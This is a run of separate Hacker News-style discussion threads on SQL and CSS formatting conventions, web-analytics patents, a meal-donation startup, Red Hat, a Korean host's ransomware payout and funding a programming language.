How I format SQL code - <AUTHOR> http://bytepawn.com/how-i-write-sql-code.html#how-i-write-sql-code <comment><USER2> I appreciate write-ups like this, but I really disagree with what seems to be the majority that SQL keywords should be uppercase. It's one of the last uppercase holdovers from the old days. HTML used to be uppercase as well. Lowercase is objectively more readable, easier to type, and editors colorize keywords so they stand out. Uppercase is really not necessary in the 2020s. Check out Matt Mazur's styleguide (linked in the post) for an alternative that endorses lowercase. He also has a contrasting style on where Boolean operators should go. [https://github.com/mattm/sql-style- guide/blob/master/README....](https://github.com/mattm/sql-style- guide/blob/master/README.md)

<comment><USER3> > editors colorize keywords so they stand out

Not when it's embedded as a string in another language, like when the query you want is not supported by the ORM.

> Lowercase is objectively more readable

No, and definitely not objectively. I generally don't capitalize my SQL, but I can't argue that using lowercase exclusively makes the SQL more readable. It definitely does help readability to differentiate SQL keywords from table and column names. Compare:

      select
          region_fleet,
          case when status = 'delivered' then 'delivered' else 'not delivered' end as status,
          date_trunc('week', day) as week,
          count(distinct row(day, so_number)) as num_orders,
          count(distinct case when scheduled_accuracy_meters <= 500 then row(day, so_number) else null end) as num_accurate,
          avg(scheduled_accuracy_meters) as scheduled_accuracy_meters
      from
          deliveries
      where
          ...
      group by
          1, 2, 3

with

      SELECT
          region_fleet,
          CASE WHEN status = 'Delivered' THEN 'Delivered' ELSE 'Not Delivered' END AS status,
          DATE_TRUNC('week', day) AS week,
          COUNT(DISTINCT ROW(day, so_number)) AS num_orders,
          COUNT(DISTINCT CASE WHEN scheduled_accuracy_meters <= 500 THEN ROW(day, so_number) ELSE NULL END) AS num_accurate,
          AVG(scheduled_accuracy_meters) AS scheduled_accuracy_meters
      FROM
          deliveries
      WHERE
          ...
      GROUP BY
          1, 2, 3

It makes the column names stand out when you lack color hints. You can quickly skim to see what data is involved in a query without visually parsing the expressions.

<comment><USER4> The first is actually much easier to read, and lower case is far superior.

Lowercase letters are read and comprehended faster: [https://ux.stackexchange.com/questions/72622/how-easy-to- rea...](https://ux.stackexchange.com/questions/72622/how-easy-to-read-are- small-caps-vs-lower-case)

Additionally using casing when it has no meaning is an anti-pattern.

<comment><USER3> That link talks in general. In general, I agree that lowercase is more readable.

> Additionally using casing when it has no meaning is an anti-pattern.

Why do you say that it has no meaning? This is about differentiating SQL keywords from table and column identifiers. That's the meaning.

> The first is actually much easier to read, and lower case is far superior.

Reading the query whole, sure, but are you seriously suggesting that you can skim for the identifiers faster in the all-lowercase one when there are no color hints?

<comment><USER4> >Why do you say that it has no meaning? This is about differentiating SQL keywords from table and column identifiers.

One could also type like `CoUnT(dIsTiNcT CaSe WhEn ... EnD)` to make the keywords stand out. Casing has absolutely no meaning in SQL outside of single quotes.

On the other hand, (in python for example) SOME_FUNCTION() and some_function() both have meaning. They do not refer to the same thing.

>but are you seriously suggesting that you can skim for the identifiers faster in the all-lowercase one when there are no color hints?

Yes. Especially since my eyes don't get stuck on the massive blobs of ALL CAPS YELLING TEXT in the select.

<comment><USER3> > One could also type like `CoUnT(dIsTiNcT CaSe WhEn ... EnD)` to make the > keywords stand out. Casing has absolutely no meaning in SQL outside of > single quotes.

That the language doesn't enforce a meaning doesn't mean that we can't add meaning to the casing. This is like how in multiple languages it's convention to write constant variables in all-caps even though few languages enforce it.

<comment><USER4> That's a fantastic example because an all-caps constant actually does have a different meaning than the same word spelled in lowercase, and all the more reason to not capitalize keywords in SQL (Structured Query Language, being an acronym, is proper to capitalize)

<comment><USER3> Could you fill out the following sentence, please?

When an identifier is written in all-caps, it generally _____ that it's a constant.

I feel like you're just, in bad faith, refusing to acknowledge that the word "meaning" doesn't have to be in any way related to language enforcement. Are you trying to argue for the sake of arguing?

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER3> > God is merciful because AND_ is 4 characters, a good tab width, so WHERE > conditions are to be lined up like (same for JOIN conditions)

      WHERE
              country = 'UAE'
          AND day >= DATE('2019-07-01')
          AND DAY_OF_WEEK(day) != 5
          AND scheduled_accuracy_meters <= 10*1000

It looks better when you use a tab-width of 2:

      WHERE country = 'UAE'
        AND day >= DATE('2019-07-01')
        AND DAY_OF_WEEK(day) != 5
        AND scheduled_accuracy_meters <= 10*1000

<comment><USER5> I don't know if this will go over well, but how about the infamous 1=1?

        WHERE 1=1
          AND country = 'UAE'
          AND day >= DATE('2019-07-01')
          AND DAY_OF_WEEK(day) != 5
          AND scheduled_accuracy_meters <= 10*1000

(More reading: [https://stackoverflow.com/q/242822](https://stackoverflow.com/q/242822))

<comment><USER6> WHERE TRUE would also work, so would WHERE 1 I believe

</comment></comment></comment><comment><USER7> I don't see the benefit of putting table names on a different line than the keyword.

How is this:

      FROM
        tablename t
      INNER JOIN
        other_table ot
      ON
        t.id = ot.id

More readable than:

      FROM tablename t
      INNER JOIN other_table ot
        ON t.id = ot.id

I agree with a lot of these recommendations, but this one irks me. Also I'd love if someone could create a nice code-formatter for SQL like Python's Black.

<comment><USER8> In the join case, it makes your diffs nicer when joining multiple tables

        FROM foo
        INNER JOIN
            other_table using (other_table_id)

to:

        FROM foo
        INNER JOIN
        +  foo_bars using (foo_id),
           other_table using (other_table_id)

</comment></comment><comment><USER9> I also use his multi line format for boolean logic:

        select 'biscuit'
        where
        (
            (
                @alpha
                <
                pow(
                    sin(
                        radians(
                            @scheduled_lat - @actual_lat
                        )
                        / 2
                    )
                    , 2
                )
            )
            and
            @alpha > 0
        )

</comment><comment><USER10> Great style guide in my opinion. It is actually rather helpful to have those SQLs formatted neatly. As an analyst you have to write quite a few of them. So copy pasting and reusing is most helpful and boosts productivity. To make sure that you don't make errors a clean layout for eyeballing is necessary. The same for bug fixing, should you have one planted still.

</comment><comment><USER11> If it doesn't come with an auto formatter it doesn't matter. Making developers manually style their code is barbarism

</comment><comment><USER12> Personaly, I put the comma before the column name :

      SELECT
         col1
         ,col2
         ,col3

It's easier for me to add a column or move it like this. Otherwise I have to search the comma when my query has only one column and I add one or when I add a column at the end

<comment><USER13> I know this is a question of style, but wow that looks ugly.

The point about ease of adding a new column is absolutely valid.

The best answer to it, subjectively and IM _H_ O, is on the language level, e.g. making it legal to end the statement with a comma:

SELECT col1, col2, col3, from ...

<comment><USER12> That would definitely be a game changer... but I'm not sure I might be ready for that !

</comment></comment></comment><comment><USER14> I struggle to find a beautifier doing something similar to this with indentation. I use quite a bit of plpgsql which makes it even more challenging. I have tried a few found in the www however none of them cut it. Any recommendations?

</comment><comment><USER15> This is my favorite guide yet!

My syntax, like others, is a little different (lowercase, 2 spaces, commas- first, bracket quotes, ons right under joins w/ joined table on LHS, left joins left-aligned): (this query isn't supposed to make sense)

        select
          u.id                   [user]
          , u.email              [email]
          , o.name               [office]
          , sum(t.id)            [# things]
        from main_tblusers_db u
        inner join tbloffices_db o
                on o.id = u.office_id
        inner join things_tbl t
                on t.user_id = u.id
        left  join example e
                on e.user_id = u.id
        where
          u.deleted is null
          and (
            u.active is not null
            or u.special = 1
          )
        group by
          u.id          -- the 1, 2 syntax is new to me!
          , u.email
          , o.name

<comment><USER16> For the record, this syntax is horrific and almost unreadable to my eyes.

Multiple spaces after `LEFT` in `LEFT JOIN`? Just to stick with "river"-style alignment, yet your outer-level keywords (`SELECT`, `FROM`, etc.) aren't aligned?

It's difficult to understand why one would pick this format.

<comment><USER15> Well how far do you go with the river? Aligning with select means group by sticks out. Aligning with group by means left join sticks out. Aligning with left join means inner join sticks out.

EDIT: feel free to show me something better..

<comment><USER16> `GROUP BY` you align with the space between `GROUP` and `BY`.

`INNER JOIN` goes fully on the right side of the river.

The guide at [https://www.sqlstyle.guide/](https://www.sqlstyle.guide/) is almost perfect.

</comment></comment></comment></comment><comment><USER17> The rest of this man's blog is also worth a visit. Great work, Marton!

P.S. Can I suggest you put your name somewhere in your header?

P.P.S. I see you, too, use 'self' when taking notes. Would you also be a Pythonista? :)

</comment><comment><USER18> Can anyone explain the logic / benefit of the group by recommendation?

<comment><USER4> It's useful to put the grouping columns so you can say `group by 1,2,3,4,5` instead of `group by 1,2,6,7,9`.

Implementing production queries, you tend to write out the full column names, but for 95% of your SQL this is a boon to the analyst or data scientist.

</comment></comment><comment><USER19> It's a case of yet another standard ([https://xkcd.com/927/](https://xkcd.com/927/))

The author recommends using upper-case for all keywords while Matt Mazur's SQL style guide, that is linked at the bottom of the article, recommends using lowercase for keywords :-)

</comment><comment><USER20> I've done it that way for the last 20 years, but I've never blogged/wrote about it. That's the difference.

<comment><USER21> There is absolutely no value for anyone in you sharing the fact that you don't share your opinions on SQL style. Yet there is a lot of value in OP sharing his thoughts on style. That's the difference.</comment></comment>


How a Homeless Guy Inspired My Startup - <AUTHOR> http://therealkofi.com/2012/08/06/how-a-homeless-guy-inspired-me-to-launch-my-startup/ Check out the inspiration behind my new startup MealTics.com. We allow restaurant customers to purchase meals that get donated to local soup kitchens and homeless shelters. Every month we give out cool prizes to random MealTic customers in our raffle. <comment><USER2> Hmmm ... I think you're onto something great here but I have another idea to pitch to you. I think it's great to allow the restaurant's customers to purchase meals, but I'm more of a bulk purchaser (yes ... I got the 50 pound bag of popcorn kernels).

At the end of each day, a restaurant has food that is perfectly good but hasn't been sold. What if you find a donor who's willing to pay the restaurant to package the left-over food into meals for delivery the next day.

The restaurant would earn at least a "processing fee" and the food wouldn't end up in the dumpster. I'm sure this idea could be further refined with input from your advising restaurants.

In any case, I hope you end up feeding a lot of people!

</comment><comment><USER3> Scale is going to be critical here - it has to make sense for a shelter or a food bank to pick up whatever a restaurant is offering, and there's probably a threshold number of meals below which the cost of gas and travel time doesn't justify picking up the meals. Meanwhile, if the shelter collects and saves up its tickets, the restaurant has to be ready for bulk orders, so to speak.

</comment><comment><USER4> Just FYI, something I learned from trying to sell a software product to restaurants - unless they said yes and paid, the answer is "no." When you hear "keep us updated...", that's a polite way of telling you to screw off, they have more important things to do. Take it as it is, my experience, but don't be surprised if after all, no one participates.</comment>


CSS coding techniques - <AUTHOR> https://hacks.mozilla.org/2016/05/css-coding-techniques/ <comment><USER3> > This is implied in the previous recommendations, but since it's crucial I > want to stress it: Don't use !important in your code.

Ehhhh, sometimes `!important` is a good option. I agree that just for the 'quick fix' it's a bad idea, but it can solve other issues beautifully.

For example: If you're writing a plugin or some sort of module that will inject a block of styled content in websites whose normal styling you have no control over, and you need to not accidentally let the sites override your own styling, it's a great fit.

In that situation, it's used to ensure that your block will display correctly across thousands or millions of websites and not fall victim to some awkward accidental local CSS rule like `#body #content #post strong {}` that some developer thought was a clever idea at one point, but didn't realize the implications of the insane level of specificity that is assigned. (I've seen this happen and the support load that it causes).

Far better to have reasonable selectors targeting only your markup, with `!important` so that sites, if they want to, can override your styling, but they just need to be explicit about it.

Long story short, rigidly holding to rules like these in /all/ situations can lead to far worse results for your users than taking them with a grain of salt and making educated decisions while understanding the implications.

<comment><USER4> >> This is implied in the previous recommendations, but since it's crucial I want to stress it: Don't use !important in your code.

> Ehhhh, sometimes `!important` is a good option. I agree that just for the > 'quick fix' it's a bad idea, but it can solve other issues beautifully.

`!important` is the GOTO of CSS.

In general you're not supposed to use it, but if you do, it makes some things much simpler.

<comment><USER5> I thought of the same analogy while reading the article

<comment><USER6> agree

</comment></comment></comment></comment><comment><USER7> This is a pretty good article about general things to do or to avoid when writing CSS.

If you'd like to go a step further, I really recommend this[1] CSS style guide by the folks at Trello. I try to use it on all my projects. It makes working with CSS so much easier in my experience.

[1] [https://gist.github.com/bobbygrace/9e961e8982f42eb91b80](https://gist.github.com/bobbygrace/9e961e8982f42eb91b80)

<comment><USER8> The Trello CSS Guide is awesome. I especially like the part about media queries and.. well, everything else too. Thanks!

</comment></comment><comment><USER9> > And using JavaScript to do the things CSS is meant for is just a terrible > idea.

That's very strong wording, and I couldn't disagree more. I've added in-line styles into my React workflow for several projects and couldn't be happier with it.

To me, React is primarily a tool that lets the developer define their view in terms of their model, separating business logic from display. Styling is a part of that view. Class names are just an extra abstraction between the view and the model, and offer little benefit.

<comment><USER10> I guess you don't have to maintain those projects. You're coupling the style to the view so tightly that any updates in the future will be serious effort.

<comment><USER11> As a counter-point, the "style" is usually heavily coupled to the "view". It's rare to see a re-style which wouldn't also require a reworking of the view anyway.

I like the idea of purist separation of "style" and "view" but it's unrealistic to think it needs to be a point of dogma.

There are clearly cases where you would want most your styling to be separate, particular for client-specific branding, but there is likely "functional" css such as css that gets date pickers etc working and those can't really be cleanly separated from the view.

A lot of CSS isn't really "style", it's actually far more functional than that. Try turning off CSS and see what happens to fancy date-pickers or rich text editors or other controls, they don't degrade cleanly they just break.

<comment><USER10> I'm not talking about a complete rebrand, but let's say your a/b testing discovers that users react better when there's 20% more whitespace between elements. If you've got all your margins contained in your CSS (or better yet a global SASS variable to control default gutter sizes) then it's trivial to update and push. If you have to search through every view in your project to see where you might have snuck in some inline styles… well, you're just not going to bother. Which means you're throwing user need / conversion away.

<comment><USER12> In the react style he was talking about, you would import reusable styles so you can still change just one variable to update the gutter size.

</comment></comment></comment></comment></comment><comment><USER13> We've just released Universal.css, which is a great state-of-the-art CSS library. [https://github.com/marmelab/universal.css](https://github.com/marmelab/universal.css)

What do you thinks, guys?

<comment><AUTHOR> I'm missing a `display-none` css class, looks good otherwise!

Edit: Meant `js--on-hover-this-element-do-display-block-other-class`. Obviously, other class would be an element with `.other-class`

<comment><USER13> Great idea! I've opened an issue, feel free to open anothers for each idea.

[https://github.com/marmelab/universal.css/issues/2](https://github.com/marmelab/universal.css/issues/2)

</comment></comment></comment><comment><USER14> All the people piling on with "!important is evil, nuke it from orbit!" have clearly never been tasked with branding an enterprise product like SharePoint.

<comment><USER15> SharePoint and !important together is like a nuclear standoff of perfect evil in balance.

<comment><USER14> Truer words were never spoken. Have you discovered the elusive double-!important? Or the fabled inline style with !important?

SharePoint's markup is rad. /s

</comment></comment></comment><comment><USER16> I know not everyone is using react and webpack, but using CSS modules has made CSS incredibly easy and removes the pitfalls that most large projects fall into.

With CSS modules you don't have to think about whether you're being too specific or whether your styles will have side effects, because all of your CSS is locally scoped to just the component you're working with.

[https://github.com/css-modules/css-modules](https://github.com/css- modules/css-modules)

<comment><USER17> [http://j2c.py.gy](http://j2c.py.gy) provides similar avantages from JS. You get the full CSS feature set (at-rules, pseudo-selectors) unlike with inline styles, and local class names. No need for WebPack since it's plain JS.

Disclaimer: I wrote it :-)

</comment></comment><comment><USER18> What also helps a lot is to keep in mind that classes are for classifications (categories) and id's for identifications (unique).

I see a lot of people using classes to create unique styles for specific elements. This will make a mess of your stylesheet.

Also try not to think too much in subcategories (nested classes) because it will remove flexibility from you stylesheet. For example:

      .button {}
      .button.text-center {}

is used to create buttons with centered text. But now you need to create another class for other elements that need centered text. So instead this would be more flexible:

      .button {}
      .text-center {}

In both cases you can use _< element class="button text-center">_.

<comment><USER19> Sadly using only classes is now considered a "Best Practice" and some employers forbid id or are considering it as an antipattern [1] resulting in a clusterfuck of classes in the html. But best practices in CSS changes so often that I wouldn't be surprised if people starts to use id again in two or three years.

[1] [https://github.com/airbnb/css](https://github.com/airbnb/css)

<comment><USER20> That's why just like not growing sideburns I'm not listening to this trend either. Use classes where there may be multiple. Use ID when it's a Highlander.

</comment></comment></comment><comment><USER21> These days, based on the requirements I would suggest using CSS Modules [1].

On the other hand if this would be an overkill ( small landing page ), then basically whatever you would choose it would be okay, because rewriting the stylesheets will take less than a day.

If the requirements doesn't allow that and you are building a huge complex UI, then I would advise >against styling tags<. There have been at least 100 times in my career, where I discover someone styled an `a` element, that I would like to become a button. My approach is to use class names everywhere.

1 : [https://github.com/css-modules/css-modules](https://github.com/css- modules/css-modules)

</comment><comment><USER22> I'm a dev so I think I'll carry on using Bootstrap thanks.

It may be a 'bloated framework' but it works and I've spent enough time on CSS already.

<comment><USER23> > and I've spent enough time on CSS already

I hope that time wasn't spent customizing Bootstrap to your liking and requirements - you could have worked on your very own and much more lightweight set of common CSS rules instead.

I'm sorry but how anyone, who is at least moderately experienced in web design, could use massive CSS frameworks like Bootstrap or Foundation for anything but quick previews and basic demo apps is beyond me.

<comment><USER22> It's not massive.

</comment></comment></comment><comment><USER24> KISS:

\- Only use cascading for global theme styles, like type faces

\- Don't nest rules with sass or w/e, it's too hard to know what's affecting what in a template

\- Naming conventions: Prefix every component class with the titlecased version of the name, have one css file per component that's of the same name. This makes it easy to know where to look for styles when you're working in a template. e.g. styles/header.css would contain:

      - .Header-container .Header-link .Header-title--hover .Header-image

<comment><USER25> I guess I can agree with that, in spirit. My CSS include file has very broad look and feel stuff. There is also a CSS block inside some pages that customizes size / layout stuff that only applies to that page (e.g. - <USER2> and label widths based on content of various blocks).

</comment></comment><comment><USER26> For me personally, the hardest problem in CSS is the inability to automate testing effectively. If I change this declaration to fix this bug, who knows what's going to happen across the rest of the project? It's less likely to break something else if I add a new class to fix this bug.

Of course, I know in the long run, that will lead to even more bugs but I don't have an effective workflow around that.

<comment><USER27> I've used two techniques:

1) use a prefix (t-) for test selectors and do not attach any styles to them (put them on the elements you need to target directly so the tests do not have to know about the DOM structure)

2) use data- attributes for test selectors (again directly on the target elements so DOM changes won't break the tests)

The second I got from this article, which is a bit Ember specific, but makes a lot of good recommendations:

[https://dockyard.com/blog/2015/09/25/ember-best-practices- ac...](https://dockyard.com/blog/2015/09/25/ember-best-practices-acceptance- tests)

<comment><USER26> Actually this is a really good idea... But I was referring to to testing the CSS itself - in the same way I text my JavaScript. I'd love to have a suite of tests that say "this element should be 10px from the left of the page" or something like that. I've seen tools that attempt to make this possible but they are hard to work with.

Thanks for the suggestion on how to work with test classes anyway. Very useful.

<comment><USER27> Probably the best way to test things like that is with a visual regression testing tool [1][2]. In practice these are difficult to get right and tend to produce a lot of false positives and negatives. See for instance Huxley [3]

[1]: [https://github.com/BBC-News/wraith](https://github.com/BBC-News/wraith)

[2]: [https://percy.io/](https://percy.io/)

[3]: [https://github.com/facebookarchive/huxley](https://github.com/facebookarchive/huxley)

</comment></comment></comment></comment><comment><USER28> Great article. It should emphasize the part about !important even more.

!important should be banned. !important divides the good guys from the bad guys. Whenever I see code with !important I instantly know that guy was lazy, unexperienced, wrong guided - you name it. And it also makes my life hard if I have to continue to work on that same css.

I also miss one of the most useful methods to be more granular with the cascading. To apply a new rule, instead of using a fresh new class or to hammer into some new style definitions with an id/!important just use the class twice in your css. More of the same class means more important.

      .button.button.button outranks .button.button which outranks .button.

See here for an example: [http://codepen.io/gkey/pen/ONevEe](http://codepen.io/gkey/pen/ONevEe)

It's not beautiful and if you're doing css right you won't need it most of the time. But try this before using the big bad boys like an #ID or the !important statement.

<comment><USER29> No way. You are not considering the places where the developer doesn't have access to all the CSS that is happening on the page. !important is a way to override styles you don't have access to. For example, I've integrated plenty of third party social media widgets in micro-sites, and they often have the capacity to customise the design by _adding_ new CSS, not replacing the untouchable CSS.

Various other scenarios similar to above is not uncommon for frontend developers to find themselves dealing with in the workplace.

<comment><USER30> Just curious: what happens if they start to use important, too?

<comment><USER29> Well of course it's not cool when that happens, and while generally most people agree !important is to be avoided, I was responding to the idea it should be banned completely, or the article where it says it's only good for debugging. It's a last resort that needs to be there, and has probably saved a lot more time than it's wasted.

</comment></comment></comment></comment><comment><USER31> Compounding em is total hell to keep track of in my head, even with a stylesheet open in front of me. I'm not much on top of front-end, but why aren't rem units just better in every way?

<comment><USER32> If you use em for say the bottom margin on a heading, it is going to be relative to the font size of that heading (if specified).

Where as a rem would always be relative to the root of the document, which is not always the desired effect when it comes to responsive typography.

<comment><USER33> I'm sure grandparent knows that. The problem with cascadingly using em is that you cannot easily deduce the derived em-value on the nth level (e.g. header > nav > div > a, each with their own em-based font-size; good luck reasoning about a's em-value).

</comment></comment></comment><comment><USER34> You should only use classes in CSS! Leave #id's for Javascript: Wont have to update your JavaScript when you update your CSS and vice versa.

</comment><comment><USER32> I like most of these except the one about not using !important.

I use .flat { margin-bottom: 0 !important } to remove the default bottom margin from certain typographical elements (ie. h1,p,ul). In this case where I absolutely know that I mean what I say when I apply that class, it works great.

<comment><USER35> In the future, try using:

        .flat.flat.flat.flat { margin-bottom: 0; }

It gives you the specificity to override most things, and still leaves you the "nuclear option" of `!important` if you ever need it.

<comment><USER36> I'd rather see !important instead of this. This rule would call for quite a lengthy comment explaining just what in the hell the repeated .flat rules are for, and what other rules it's attempting to pave over such that you know when you need to add a 5th .flat as a "fix'.

</comment></comment></comment><comment><USER37> Overall rather mundane stuff (I kind of expected something more profound when it addressed the "seasoned developers" in the opening paragraph). I recommend csswizardy.com articles for more insightful thoughts/solutions to actual high level css problems.

</comment><comment><USER38> Great post, I did not know about the view port options. The specificity I first learned about from another poster on here that created a store locator module for websites. He pointed me to this 3rd party javascript book written by former engineers at Disqus.

I love using SASS to generate my CSS, and I recently started using bourbon and neat with my Go project.

I ran into issues as I did not want to use gulp or grunt so I put together my own way using a Makefile

[http://www.tysonmaly.com/programming/go/how-to-use- sass/](http://www.tysonmaly.com/programming/go/how-to-use-sass/)

</comment><comment><USER39> I'm partial to BEM From Yandex for my CSS -

[http://docs.emmet.io/filters/bem/](http://docs.emmet.io/filters/bem/)

<comment><USER40> BEM is _extremely_ verbose:

Is there some good reason people write _that_ instead of just the following?

Unless I'm missing something, with the second approach you get the same specificity, higher flexibility and shorter and more readable markup. Moreover, you end up using selectors the way they're intended to use.

<comment><USER41> It's supposed to be extremely verbose, and extremely explicit, and create single-responsibility classes as much as is possible. It makes it explicit _what_ is being modified. It's not very nice to write, but on balance, it works well.

</comment></comment></comment><comment><USER42> Don't use !important and don't use any id.

If you are reduced to needing to use either of them, it means that your CSS had gotten out of hands and you are trying to apply band-aids.

If you ever _need_ to use !important or an id to fight selector specificity, take a step back and rework all your CSS.

Source: 5 years of not using either of those as a front-end developer.

</comment><comment><USER33> My main learning in this article was: Be as unspecific as possible. I think making things as specific as possible is what coders learn early on (component thinking etc). But since we want the whole page/component to profit from the styles we write - this makes a lot of sense.

<comment><USER43> NO, NO, NO! This advice is completely and utterly __wrong __.

Component thinking is _good_ , it's CSS "best practices" that are backwards and insane, probably because many of the people who came up with them were designers who weren't educated in the basic principles of writing maintainable code.

You do _not_ want to be in a situation where, when you change a particular class, in order to fix a bug in one UI element, it potentially has side- effects in a myriad of others, none of which you know about.

You _do_ want to be able to come into a codebase and make a fix to a particular element, or component, in your UI, and have absolutely confidence that you have not broken anything else.

How do you do that? By breaking down your UI into independent, encapsulated and composable components. And the component's styles should be specific and encapsulated in the same way as its JS code would be. The fact that CSS allows you to create a big stew of global variables does _not_ mean that it's a good idea to do so. Anyone who tells you otherwise is misleading you.

Follow this "be as unspecific as possible" advice and I _guarantee_ that in a year or so, your CSS will contains thousands of low specificity rules, all applying randomly to different bits of your DOM, with thousands more specific classes to override the unwanted styles that are being picked up from elsewhere.

<comment><USER25> Perhaps a bit more subtlety: Keep global concerns global, and local concerns local. Coloring and font schemes (margins/padding too, I suppose) are usually global, with variations for broad types of components. Sizes / positions of components often end up being very specific, at least in cases where "auto" doesn't work well for what you want.

<comment><USER33> Yes, that's the scope I was talking about, intuitively. I don't understand grandparent's agitation, but yes, sure, local rules should be constrained to their scope.

</comment></comment></comment></comment><comment><USER44> Having been on projects where !important was used, I'm not able to rationalize why it's okay to use. It's a quick fix and leads to bad css. We have it in a linter at work so nobody tries to pull a fast one :)

</comment><comment><USER34> Be careful some of these tips wont work in old browsers! Yeh, there's still old browsers out there (mobile devices, enterprise workstations)

<comment><USER45> For that, there are tools like autoprefixer

</comment></comment><comment><USER46> The majority of these problems have been solved for me by adopting SMACSS and BEM.

</comment><comment><USER47> Pretty cool set of tips. I didn't even know about the !important tip.

</comment><comment><USER48> Am I the only person who thinks that writing CSS should not count as "coding"?

I feel like the term "coding" should be reserved for writing code that will be compiled. Anything that's not compiled (but is still Turing complete) is "scripting". CSS, HTML, etc. is just "tagging".

<comment><USER49> "Hey can you tag up a gallery page this week?" \- You

"What?" \- Everyone

Not sure that this matters except to preserve some "purists'" (read: pretentious engineers') holy lands. CSS is code. Writing code is called coding.

I don't think it should be called _programming_ , though.

<comment><USER48> _> I don't think it should be called programming, though._

So you're suggesting that the term _programming_ be used to describe writing code that will be compiled?

<comment><USER49> No, I think that's awfully arbitrary. I'd say CSS doesn't really have any computational capabilities (although that's been changing recently) so it doesn't seem right to call it programming.

I really don't care though. Call it whatever you want as long as I can understand what you're trying to say. "Tagging" doesn't satisfy that sole requirement.</comment></comment></comment></comment>


Patents question - territorial limits in the internet - <AUTHOR>

I am curently researching a few patents since our company is considering to make the leap and attract some american companies as customers. We are providing a web analytics solution which works by putting a pixel into the  website to be tracked. Said pixel is stored on our servers in Europe. Now I wonder how patents on webanalytics are applicable, when they are filed in the United States. Our company would not operate an office there, we do not even have servers there. The client computers would receive their pixel from europe and an american company would access a frontend in europe or collect data via SOAP.<p>If we now attract american customers and provide stats for american websites are we then suddenly violating patents, because they are american? I don't understand how the international fences are drawn and before we start setting out to the american market we certainly will ask a lawyer, but my experiences with lawyers were rather bad when it came to such technical and complicated issues they rarely understand. So if anyone of you has some reasonsable speculations to offer or could point me to a source or a case, let me know. <comment><USER2> Go after whatever market you can get paying customers. Worry about settling with patent trolls only after they hit you with a suit. There is really no other approach.

</comment><comment><USER3> So this is just a web bug? Whats the problem? I have worked at several companies that have inserted small images in web pages so that we can analyze the log files to provide usage statistics.

To my knowledge there is no patent on this and I suspect that there would be a large body of prior art should anyone claim to hold such a patent.

<comment><AUTHOR> Well there are a number of patents and recently Nielsen/Netratings sued Omniture (<http://www.omniture.com/press/242>) and Coremetrics ([http://www.internetretailer.com/internet/marketing- conferenc...](http://www.internetretailer.com/internet/marketing- conference/274569896-netratings-files-patent-infringement-suits-against- coremetrics-omniture.html))

The number of patents is surprising, so far I have found 24 patents we seem to be violating, among them:

Content display monitoring by a processing system <http://www.google.com/search?q=Patent+7386473>

System and method for analyzing remote traffic data in a distributed computing environment <http://www.google.com/search?q=Patent+6112238>

Online Traffic Sampling <http://www.google.com/search?q=Patent+7185085>

And plenty more.</comment></comment>


The Open Organization - <AUTHOR> http://www.redhat.com/en/explore/the-open-organization-book

<comment><USER2> I have an anecdote regarding Redhat.

I was in college at a Career Fair, going through the booths when I chanced upon two Redhat employees eagerly promoting their company. I talked with them for two-three minutes, got into an interesting discussion about how OSS can make money, and of course, complimented them on their red hats. Somewhere along the way, the younger of the two commented on Redhat's revenue: just one non-negative sentence with a data point (revenue, I believe) that I could have read anywhere else.

In a sudden flash of unexplained anger, his older partner immediately turned to him and said "You are NOT suppose to say that." Ignoring me completely, he then admonished the younger employee for a moment more, and then immediately engaged with another college student.

The younger employee was at a loss for words: I don't think either of us saw that spout of rage coming. Not knowing what else to say, I let the younger one know that I appreciated his input and quickly left the booth.

Obviously, one bad experience does not invalidate a whole company's culture. But a video like this, where everything is presented with such cheer, always make me wonder about the hatred, anger, annoyance, and darkness festering just underneath the surface.

<comment><USER3> Not sure what was going on in your case, but I have a relative who has worked there in a few tech capacities for many years and she loves it.

Like any gathering of people, there are always a few stinkers I suppose.

<comment><USER2> Yeah, I agree. It could have happened anywhere else... although I will never forget the contrast between that moment and the quirky red hats they had.

</comment></comment></comment><comment><USER4> Kind of amusing to read the excerpt, having just applied for a job at Red Hat. I will gladly pay for coffee if I get an interview.

</comment><comment><USER5> Community and further discussion can be found at: [http://opensource.com/open- organization](http://opensource.com/open-organization)

</comment><comment><USER6> "All proceeds from the sale of The Open Organization will be donated to the [EFF]"

</comment><comment><USER7> I stopped reading at "Igniting passion".

<comment><USER8> I stopped at 'disrupting'

<comment><USER9> Awesome Comments :)

<comment><USER8> I cant tell if you are being snarky or not, but I normally try to post HN- worthy comments however this article was on the front page and was terrible, and I really like RedHat. I thought Id get downvoted into oblivion but it wasnt too bad,. Just not HN material.

<comment><USER9> no, I was not snarky. I genuinely liked the comment.

</comment></comment></comment></comment></comment><comment><USER10> Well, I mean... Now that they've forcibly shimmed systemd into everything, they might as well claim to institute "sunshine laws" or whatever. The winner, after all, gets to write history.</comment>


Korean Web Hosting Company Agrees to Pay 397.6 BTC to WannaCry - <AUTHOR> https://pastebin.com/RuYAjE1Z <comment><AUTHOR> TLDR: The company's CEO is bankrupt because of the attack, and this is a series of public announcements that describe how he's trying to recover from the ransomware. He couldn't afford the price that the hackers were asking and is selling his company to afford the ransom money. He already paid a portion of it and is asked to pay the rest of it for the remaining encryption keys.

The announcements are published at [http://notice.nayana.com/](http://notice.nayana.com/) but they are in Korean and the website goes down frequently.

</comment><comment><USER2> We had an older machine get hit by WannaCry, but it happened to have some files on it we'd rather keep. It took 3 weeks on the outdated hardware to crack the key and another 2 weeks to decrypt it all, but we recovered everything and paid no one.

<comment><USER3> My understanding is that wannacry uses rsa2048. Even the NSA couldn't brute force that. What am I missing?

</comment></comment><comment><USER4> Surely this wasn't WannaCry, doesn't sound like it.

EDIT: Erebus apparently. [http://www.networkworld.com/article/3200194/security/south-k...](http://www.networkworld.com/article/3200194/security/south- korean-web-hosting-company-infected-by-erebus-ransomware.html)

</comment><comment><USER5> Heart goes out to those who suffered downtime and/or data loss and to the company CEO.

</comment><comment><AUTHOR> EDIT: it was Erebus not WannaCry</comment>


How to monetize a programming language? - <AUTHOR> If my ambitious "change the world" mission is to create a programming language, how would I go about financing its development and profiting from its usage? All constructive ideas and musings welcome. <comment><USER2> Conventional wisdom these days is that it's impossible, and moreover, you don't even have a chance of success unless you're backed by a large corporation that can afford to blow several million on development.

